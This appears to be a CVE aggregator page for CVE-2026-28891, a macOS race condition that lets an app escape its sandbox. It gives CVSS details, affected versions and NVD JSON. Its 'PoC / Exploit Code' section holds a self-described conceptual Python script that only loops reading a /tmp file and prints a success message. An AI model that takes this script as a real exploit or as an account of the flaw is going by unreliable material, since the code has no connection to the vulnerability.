Security Vulnerability Report
中文
CVE-2026-28891 CVSS 8.1 HIGH

CVE-2026-28891

Published: 2026-03-25 01:17:13
Last Modified: 2026-03-25 17:59:50

Description

A race condition was addressed with additional validation. This issue is fixed in macOS Sequoia 15.7.5, macOS Sonoma 14.8.5, macOS Tahoe 26.4. An app may be able to break out of its sandbox.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
macOS Sequoia < 15.7.5
macOS Sonoma < 14.8.5
macOS Tahoe < 26.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import threading import os import time # Proof of Concept (Conceptual) for Race Condition Sandbox Escape # This script simulates the race condition logic to bypass validation. class SandboxExploit: def __init__(self): self.vulnerable_resource = "/tmp/sandbox_protected_file" self.exploit_success = False def malicious_action_thread(self): """ This thread attempts to access the resource during the race window. Simulates the payload execution. """ print("[+] Starting malicious action thread...") while not self.exploit_success: # Simulate the race condition attempt try: # Attempt to write/read restricted resource with open(self.vulnerable_resource, 'r+') as f: if "SECRET" in f.read(): print("[!] Sandbox Escape Successful! Read restricted data.") self.exploit_success = True break except (IOError, PermissionError): # Failed validation, retry immediately continue def validation_trigger_thread(self): """ This thread performs actions that trigger the vulnerable validation check. """ print("[+] Starting validation trigger thread...") while not self.exploit_success: # Perform operation that triggers the check if os.path.exists(self.vulnerable_resource): # Simulate the time gap between check and use time.sleep(0.0001) def execute(self): # Create threads to race against each other t1 = threading.Thread(target=self.malicious_action_thread) t2 = threading.Thread(target=self.validation_trigger_thread) t1.start() t2.start() t1.join() t2.join() if __name__ == "__main__": exploit = SandboxExploit() exploit.execute()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-28891", "sourceIdentifier": "[email protected]", "published": "2026-03-25T01:17:12.580", "lastModified": "2026-03-25T17:59:49.667", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A race condition was addressed with additional validation. This issue is fixed in macOS Sequoia 15.7.5, macOS Sonoma 14.8.5, macOS Tahoe 26.4. An app may be able to break out of its sandbox."}, {"lang": "es", "value": "Una condición de carrera se abordó con validación adicional. Este problema está solucionado en macOS Sequoia 15.7.5, macOS Sonoma 14.8.5, macOS Tahoe 26.4. Una aplicación podría escapar de su sandbox."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.4, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0", "versionEndExcluding": "14.8.5", "matchCriteriaId": "D66288AF-23BD-407A-81F5-F1DFBF84C622"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.7.5", "matchCriteriaId": "DD21D2C9-BBEC-4E8E-B8D2-C92B7E6155E1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.4", "matchCriteriaId": "6CF848CD-25D4-4371-BEF3-1ACCE47AD81F"}]}]}], "references": [{"url": "https://support.apple.com/en-us/126794", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126795", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126796", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}